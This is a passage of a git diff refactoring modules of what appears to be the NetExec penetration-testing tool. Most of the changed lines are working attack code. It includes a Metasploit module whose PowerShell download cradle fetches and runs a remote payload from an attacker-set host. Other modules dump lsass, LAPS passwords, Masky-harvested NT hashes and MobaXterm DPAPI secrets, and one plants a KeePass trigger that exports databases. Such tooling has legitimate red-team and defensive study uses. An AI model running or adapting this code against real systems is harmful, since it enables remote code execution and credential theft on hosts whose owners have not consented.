print(".", end="", flush=True)
|
||||
sleep(self.poll_frequency_seconds)
|
||||
continue
|
||||
print("")
|
||||
print()
|
||||
|
||||
# once a database is found, downloads it to the attackers machine
|
||||
context.log.success("Found database export !")
|
||||
@@ -274,29 +271,26 @@ class NXCModule:
|
||||
connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write)
|
||||
|
||||
# if multiple exports found, add a number at the end of local path to prevent override
|
||||
if count > 0:
|
||||
local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + self.export_name.split(".")[1]
|
||||
else:
|
||||
local_full_path = self.local_export_path + "/" + self.export_name
|
||||
local_full_path = f"{self.local_export_path}/{self.export_name.split('.'[0])}_{count!s}.{self.export_name.split('.'[1])}" if count > 0 else f"{self.local_export_path}/{self.export_name}"
|
||||
|
||||
# downloads the exported database
|
||||
with open(local_full_path, "wb") as f:
|
||||
f.write(buffer.getbuffer())
|
||||
remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path)
|
||||
remove_export_command_str = f"powershell.exe Remove-Item {export_path}"
|
||||
connection.execute(remove_export_command_str, True)
|
||||
context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path))
|
||||
context.log.success(f'Moved remote "{export_path}" to local "{local_full_path}"')
|
||||
found = True
|
||||
except Exception as e:
|
||||
context.log.fail("Error while polling export files, exiting : {}".format(e))
|
||||
context.log.fail(f"Error while polling export files, exiting : {e}")
|
||||
|
||||
def clean(self, context, connection):
|
||||
"""Checks for database export + malicious trigger on the remote host, removes everything"""
|
||||
# if the specified path is %APPDATA%, we need to check in every user's folder
|
||||
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
|
||||
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
|
||||
poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\""
|
||||
else:
|
||||
export_full_path = f"'{self.export_path}\\{self.export_name}'"
|
||||
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
|
||||
poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"'
|
||||
poll_export_command_output = connection.execute(poll_export_command_str, True)
|
||||
|
||||
# deletes every export found on the remote machine
|
||||
@@ -352,7 +346,7 @@ class NXCModule:
|
||||
self.extract_password(context)
|
||||
|
||||
def trigger_added(self, context, connection):
|
||||
"""check if the trigger is added to the config file XML tree (returns True/False)"""
|
||||
"""Check if the trigger is added to the config file XML tree (returns True/False)"""
|
||||
# check if the specified KeePass configuration file exists
|
||||
if not self.keepass_config_path:
|
||||
context.log.fail("No KeePass configuration file specified, exiting")
|
||||
@@ -372,19 +366,15 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
# check if the specified KeePass configuration file does not already contain the malicious trigger
|
||||
for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"):
|
||||
if trigger.find("Name").text == self.trigger_name:
|
||||
return True
|
||||
|
||||
return False
|
||||
return any(trigger.find("Name").text == self.trigger_name for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"))
|
||||
|
||||
def put_file_execute_delete(self, context, connection, psh_script_str):
|
||||
"""Helper to upload script to a temporary folder, run then deletes it"""
|
||||
script_str_io = StringIO(psh_script_str)
|
||||
connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read)
|
||||
script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(self.remote_temp_script_path)
|
||||
script_execute_cmd = f"powershell.exe -ep Bypass -F {self.remote_temp_script_path}"
|
||||
connection.execute(script_execute_cmd, True)
|
||||
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(self.remote_temp_script_path)
|
||||
remove_remote_temp_script_cmd = f'powershell.exe "Remove-Item "{self.remote_temp_script_path}""'
|
||||
connection.execute(remove_remote_temp_script_cmd)
|
||||
|
||||
def extract_password(self, context):
|
||||
|
||||
+7
-22
@@ -1,9 +1,8 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import json
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
|
||||
from nxc.protocols.ldap.laps import LAPSv2Extract
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -16,26 +15,20 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "laps"
|
||||
description = "Retrieves the LAPS passwords"
|
||||
description = "Retrieves all LAPS passwords which the account has read permissions for."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
|
||||
"""
|
||||
|
||||
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
|
||||
self.computer = None
|
||||
if "COMPUTER" in module_options:
|
||||
self.computer = module_options["COMPUTER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Getting LAPS Passwords")
|
||||
if self.computer is not None:
|
||||
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))"
|
||||
else:
|
||||
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
|
||||
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))" if self.computer is not None else "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
|
||||
attributes = [
|
||||
"msLAPS-EncryptedPassword",
|
||||
"msLAPS-Password",
|
||||
@@ -52,15 +45,7 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(
|
||||
bytes(msMCSAdmPwd),
|
||||
connection.username if connection.username else "",
|
||||
connection.password if connection.password else "",
|
||||
connection.domain,
|
||||
connection.nthash if connection.nthash else "",
|
||||
connection.kerberos,
|
||||
connection.kdcHost,
|
||||
339)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
@@ -78,6 +63,6 @@ class NXCModule:
|
||||
|
||||
laps_computers = sorted(laps_computers, key=lambda x: x[0])
|
||||
for sAMAccountName, user, password in laps_computers:
|
||||
context.log.highlight("Computer:{} User:{:<15} Password:{}".format(sAMAccountName, user, password))
|
||||
context.log.highlight(f"Computer:{sAMAccountName} User:{user:<15} Password:{password}")
|
||||
else:
|
||||
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")
|
||||
+56
-42
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import socket
|
||||
import ssl
|
||||
import asyncio
|
||||
@@ -12,6 +10,8 @@ from asyauth.common.credentials.ntlm import NTLMCredential
|
||||
from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -28,10 +28,7 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
No options available.
|
||||
"""
|
||||
pass
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
@@ -42,10 +39,15 @@ class NXCModule:
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
||||
# Required step to try to bind without channel binding
|
||||
ldapsClientConn.cb_data = None
|
||||
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
exit()
|
||||
_, err = await ldapsClientConn.bind()
|
||||
sys.exit()
|
||||
|
||||
valid, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
@@ -57,16 +59,16 @@ class NXCModule:
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that and
|
||||
# LDAPS bind has without channel binding supported has occured,
|
||||
# LDAPS bind has without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error recieved from the bind attempt.
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
exit()
|
||||
sys.exit()
|
||||
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
|
||||
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
_, err = await ldapsClientConn.bind()
|
||||
@@ -90,11 +92,12 @@ class NXCModule:
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_sock = ssl.wrap_socket(
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(
|
||||
s,
|
||||
cert_reqs=ssl.CERT_OPTIONAL,
|
||||
suppress_ragged_eofs=False,
|
||||
do_handshake_on_connect=False,
|
||||
suppress_ragged_eofs=False,
|
||||
)
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
try:
|
||||
@@ -117,21 +120,32 @@ class NXCModule:
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is None:
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "stronger" in str(err):
|
||||
return True # because LDAP server signing requirements ARE enforced
|
||||
elif ("data 52e" or "data 532") in str(err):
|
||||
context.log.fail("Not connected... exiting")
|
||||
exit()
|
||||
elif err is None:
|
||||
try:
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
ldapsClientConn._disable_signing = True
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return False
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if err is not None:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
return False
|
||||
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
secret = connection.password if not connection.nthash else connection.nthash
|
||||
if not connection.kerberos:
|
||||
@@ -143,13 +157,14 @@ class NXCModule:
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.hostname + '.' + connection.domain,
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
dc_ip=connection.domain,
|
||||
domain=connection.domain
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
@@ -159,30 +174,29 @@ class NXCModule:
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
|
||||
if ldapIsProtected == False:
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected == True:
|
||||
elif ldapIsProtected is True:
|
||||
context.log.fail("LDAP Signing IS Enforced")
|
||||
else:
|
||||
context.log.fail("Connection fail, exiting now")
|
||||
exit()
|
||||
sys.exit()
|
||||
|
||||
if DoesLdapsCompleteHandshake(connection.host) == True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True:
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False:
|
||||
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
|
||||
elif ldapsChannelBindingAlwaysCheck == True:
|
||||
elif ldapsChannelBindingAlwaysCheck is True:
|
||||
context.log.fail('LDAPS Channel Binding is set to "Required"')
|
||||
else:
|
||||
context.log.fail("\nSomething went wrong...")
|
||||
exit()
|
||||
sys.exit()
|
||||
else:
|
||||
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
|
||||
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Author:
|
||||
# Romain Bentz (pixis - @hackanddo)
|
||||
# Website:
|
||||
@@ -27,9 +25,7 @@ class NXCModule:
|
||||
self.method = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
METHOD Method to use to dump lsass.exe with lsassy
|
||||
"""
|
||||
"""METHOD Method to use to dump lsass.exe with lsassy"""
|
||||
self.method = "comsvcs"
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
@@ -60,7 +56,7 @@ class NXCModule:
|
||||
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
context.log.fail("Unable to load dump method '{}'".format(self.method))
|
||||
context.log.fail(f"Unable to load dump method '{self.method}'")
|
||||
return False
|
||||
|
||||
file = dumper.dump()
|
||||
@@ -68,20 +64,20 @@ class NXCModule:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
parsed = Parser(file).parse()
|
||||
parsed = Parser(host, file).parse()
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
|
||||
file.close()
|
||||
context.log.debug(f"Closed dumper file")
|
||||
context.log.debug("Closed dumper file")
|
||||
file_path = file.get_file_path()
|
||||
context.log.debug(f"File path: {file_path}")
|
||||
try:
|
||||
deleted_file = ImpacketFile.delete(session, file_path)
|
||||
if deleted_file:
|
||||
context.log.debug(f"Deleted dumper file")
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
|
||||
except Exception as e:
|
||||
@@ -119,7 +115,7 @@ class NXCModule:
|
||||
)
|
||||
credentials_output.append(cred)
|
||||
|
||||
context.log.debug(f"Calling process_credentials")
|
||||
context.log.debug("Calling process_credentials")
|
||||
self.process_credentials(context, connection, credentials_output)
|
||||
|
||||
def process_credentials(self, context, connection, credentials):
|
||||
@@ -128,7 +124,7 @@ class NXCModule:
|
||||
credz_bh = []
|
||||
domain = None
|
||||
for cred in credentials:
|
||||
if cred["domain"] == None:
|
||||
if cred["domain"] is None:
|
||||
cred["domain"] = ""
|
||||
domain = cred["domain"]
|
||||
if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
|
||||
@@ -157,7 +153,7 @@ class NXCModule:
|
||||
def print_credentials(context, domain, username, password, lmhash, nthash):
|
||||
if password is None:
|
||||
password = ":".join(h for h in [lmhash, nthash] if h is not None)
|
||||
output = "%s\\%s %s" % (domain, username, password)
|
||||
output = f"{domain}\\{username} {password}"
|
||||
context.log.highlight(output)
|
||||
|
||||
@staticmethod
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -17,7 +14,7 @@ class NXCModule:
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
name = "MAQ"
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from masky import Masky
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
|
||||
@@ -13,7 +10,7 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
CA Certificate Authority Name (CA_SERVER\CA_NAME)
|
||||
TEMPLATE Template name allowing users to authenticate with (default: User)
|
||||
DC_IP IP Address of the domain controller
|
||||
@@ -40,7 +37,7 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if not self.ca:
|
||||
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
|
||||
context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
|
||||
return False
|
||||
|
||||
host = connection.host
|
||||
@@ -85,7 +82,7 @@ class NXCModule:
|
||||
pwned_users = 0
|
||||
for user in rslts.users:
|
||||
if user.nthash:
|
||||
context.log.highlight(f"{user.domain}\{user.name} {user.nthash}")
|
||||
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
|
||||
self.process_credentials(connection, context, user)
|
||||
pwned_users += 1
|
||||
|
||||
@@ -115,7 +112,7 @@ class NXCModule:
|
||||
|
||||
if not tracker.files_cleaning_success:
|
||||
context.log.fail("Fail to clean files related to Masky")
|
||||
context.log.fail((f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"))
|
||||
context.log.fail(f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', '{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'")
|
||||
ret = False
|
||||
|
||||
if not tracker.svc_cleaning_success:
|
||||
|
||||
+22
-26
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from sys import exit
|
||||
|
||||
|
||||
@@ -30,6 +27,8 @@ class NXCModule:
|
||||
SRVPORT Stager port
|
||||
RAND Random string given by metasploit (if using web_delivery)
|
||||
SSL Stager server use https or http (default: https)
|
||||
|
||||
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
|
||||
|
||||
multi/handler method that don't require RAND:
|
||||
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
|
||||
@@ -38,10 +37,12 @@ class NXCModule:
|
||||
windows/x64/powershell_reverse_tcp_ssl
|
||||
Web Delivery Method (exploit/multi/script/web_delivery):
|
||||
Set SRVHOST and SRVPORT
|
||||
Set target 2 (PSH)
|
||||
Set payload to what you want (windows/meterpreter/reverse_https, etc)
|
||||
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
|
||||
check compatabile payloads with `show payloads`
|
||||
Optional: SET URIPATH {custom}
|
||||
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
|
||||
"""
|
||||
|
||||
self.met_ssl = "https"
|
||||
|
||||
if "SRVHOST" not in module_options or "SRVPORT" not in module_options:
|
||||
@@ -57,24 +58,19 @@ class NXCModule:
|
||||
self.srvport = module_options["SRVPORT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
|
||||
command = """$url="{}://{}:{}/{}"
|
||||
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
|
||||
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
|
||||
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
|
||||
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$ProcessInfo.FileName=$PowershellExe
|
||||
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
|
||||
$ProcessInfo.UseShellExecute = $False
|
||||
$ProcessInfo.RedirectStandardOutput = $True
|
||||
$ProcessInfo.CreateNoWindow = $True
|
||||
$ProcessInfo.WindowStyle = "Hidden"
|
||||
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
|
||||
"http" if self.met_ssl == "http" else "https",
|
||||
self.srvhost,
|
||||
self.srvport,
|
||||
self.rand,
|
||||
)
|
||||
context.log.debug(command)
|
||||
connection.ps_execute(command, force_ps32=True)
|
||||
context.log.success("Executed payload")
|
||||
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
|
||||
proto = "http" if self.met_ssl == "http" else "https"
|
||||
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
|
||||
context.log.debug(f"{metasploit_endpoint=}")
|
||||
|
||||
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
|
||||
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
|
||||
context.log.debug(f"Running command via ps_execute: {command}")
|
||||
|
||||
output = connection.ps_execute(command)
|
||||
context.log.debug(f"Received output from ps_execute: {output}")
|
||||
|
||||
if output and "Unable to connect to the remote server" in output:
|
||||
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
|
||||
else:
|
||||
context.log.success("Executed payload")
|
||||
@@ -0,0 +1,128 @@
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PVK Domain backup key file
|
||||
MKFILE File with masterkeys in form of {GUID}:SHA1
|
||||
"""
|
||||
self.pvkbytes = None
|
||||
self.masterkeys = None
|
||||
self.conn = None
|
||||
self.target = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
if self.pvkbytes is None:
|
||||
try:
|
||||
dc = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dc_conn = DPLootSMBConnection(dc)
|
||||
dc_conn.connect()
|
||||
|
||||
if dc_conn.is_admin:
|
||||
context.log.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self.target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
try:
|
||||
self.conn = DPLootSMBConnection(self.target)
|
||||
self.conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != "":
|
||||
plaintexts[username] = password
|
||||
if nthash != "":
|
||||
nthashes[username] = nthash
|
||||
|
||||
if self.masterkeys is None:
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
_, credentials = triage.triage_mobaxterm()
|
||||
for credential in credentials:
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
